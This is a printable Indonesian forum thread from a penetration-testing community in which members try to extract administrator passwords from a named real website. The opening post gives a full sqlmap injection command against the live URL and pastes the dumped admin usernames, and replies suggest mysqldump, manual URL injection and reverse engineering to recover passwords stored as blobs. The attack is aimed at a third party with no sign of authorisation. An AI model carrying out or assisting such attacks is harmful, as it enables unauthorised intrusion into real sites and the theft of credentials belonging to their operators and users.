ASK cara menggunakan mysqldump - Printable Version +- Indonesian Back|Track Team (https://www.indonesianbacktrack.or.id/forum) +-- Forum: Penetration Testing Os (https://www.indonesianbacktrack.or.id/forum/forum-170.html) +--- Forum: Backtrack (https://www.indonesianbacktrack.or.id/forum/forum-171.html) +---- Forum: BackTrack 5 (https://www.indonesianbacktrack.or.id/forum/forum-74.html) +----- Forum: Backtrack 5 Tanya Jawab (https://www.indonesianbacktrack.or.id/forum/forum-86.html) +----- Thread: ASK cara menggunakan mysqldump (/thread-2535.html) Pages:
1
2
|
ASK cara menggunakan mysqldump - wine trochanter - 05-26-2012 assalamualaikum maaf oot,dari hasil diskusi tadi menemui kebuntuan saya dapat target http://www.ewcdb.eu/show_news.php?news_ID=2076 --> buat belajar terus saya cari database,kolom,tablesnya jga,tp pas mau dump pass nya tidak keluar kata om XXX(nama disamarkan ) itu pake binari bukan hash for test--> python sqlmap.py -u http://www.ewcdb.eu/show_news.php?news_ID=2076 -D ECDB -T administrators -C admin_login,admin_passwd --dump hasilnya +-------------+--------------+ | admin_login | admin_passwd | +-------------+--------------+ | Anders | | | Elwin | | | ipas | | | mkelemen | | | mstollt | | | nkluge | | +-------------+--------------+ terus cara dump nya gmna yah?? mohon bantuannya RE: ASK cara menggunakan mysqldump - Junior Riau - 05-26-2012 (05-26-2012, 01:06 AM)wine trochanter Wrote: assalamualaikum http://www.ewcdb.eu/show_news.php?news_ID=2076 -D ECDB -T administrators -C admin_login,admin_passwd --dump <=== perhatikan ini. ketika om jalanin ini om udah dumping database ECDB untuk tabel administrator saja,,kalau mau dumping 1 db bisa kok kalau mau tunggu berjam2 wwkwk,, dan catatan untuk web ini om g akan bisa temukan passnya wwkw,,type data passna blob,,sureeem,, RE: ASK cara menggunakan mysqldump - wine trochanter - 05-26-2012 (05-26-2012, 06:36 AM)junior.riau18 Wrote:(05-26-2012, 01:06 AM)wine trochanter Wrote: assalamualaikum iya cara itu dah saya coba kok,tp gak tampil2 tu pass pass siluman kali yah RE: ASK cara menggunakan mysqldump - iKONspirasi - 05-26-2012 salah satu cara yang bisa dilakukan adalah melalui akses ke mysqlnya untuk melakukan dump file blob: Code: mysqldump --opt -u user -p pass dbname images_table > images.sql blob adalah file biner yang akan berbentuk seperti ini: Quote: '╖?*á±dÆ╦N╪Æ·h^ye"π╩i╪ Z+-$▼₧╬Y.∞┌|↕╘l∞/l╞⌂î7æ▌X█XE.ºΓ[ ;╦ï♣éµ♂º╜┤║].♂┐φ9dë╟█'╕ÿG∟═0à¡úè♦╥↑ù♣♦¥'╔NÑ' file blob berupa file biner multimedia yang bisa dicoba2 dibuka dengan imageviewer atau vlc klo menyimpan password biasanya mereka menyimpan dalam bentuk image, trial n error aja untuk melakukan dump seperti diatas menggunakan sqlmap ada yang tahu caranya? atau ada teknik lain yang bisa dilakukan untuk mendapatkan file blob? RE: ASK cara menggunakan mysqldump - Junior Riau - 05-26-2012 om ikons,,itu udh lama ane test,,dan memang susah,, terus ane coba mnta pendapat om zee, dan om zee coba saran manual injection(url),, yap memang berhasil tapi g seluruh karatker terbaca,,ada beberapa karakter yang mmasih dalam contoh file binner diatas yang om sebutkan jadi hasil dump nya waktu itu kira2 seperti ini Code: pass♦wo♦rd padahal itu web gede RE: ASK cara menggunakan mysqldump - iKONspirasi - 05-26-2012 klo dump dalam bentuk biner aja bisa ga? nanti kan bisa dicoba2 file binernya, kita reverse engineer bareng2 RE: ASK cara menggunakan mysqldump - Junior Riau - 05-26-2012 mysqldump --opt -u user -p pass dbname images_table > images.sql <== gini caranya?? kalau dalam perintah sqlmap lengkap kek gini? ./sqlmap.py -u www.target.com -D databasename -T administrator -C user,passowrd --dump kelanjutannya apa om? RE: ASK cara menggunakan mysqldump - wine trochanter - 05-27-2012 hemm sama dah,saya jg blm ketemu caranya,masih lg nyari referensi kalo kataom junior,saya udah pake cara itu tp hasilnya sama dah RE: ASK cara menggunakan mysqldump - iKONspirasi - 05-27-2012 (05-26-2012, 08:34 PM)junior.riau18 Wrote: mysqldump --opt -u user -p pass dbname images_table > images.sql <== gini caranya?? nah itu dia ane sendiri ga tau klo utk sqlmap buat dump blob seperti yg ada di mysqldump RE: ASK cara menggunakan mysqldump - ekawithoutyou - 05-27-2012 nyimak pening ni ngebacanya wkwkwk :p |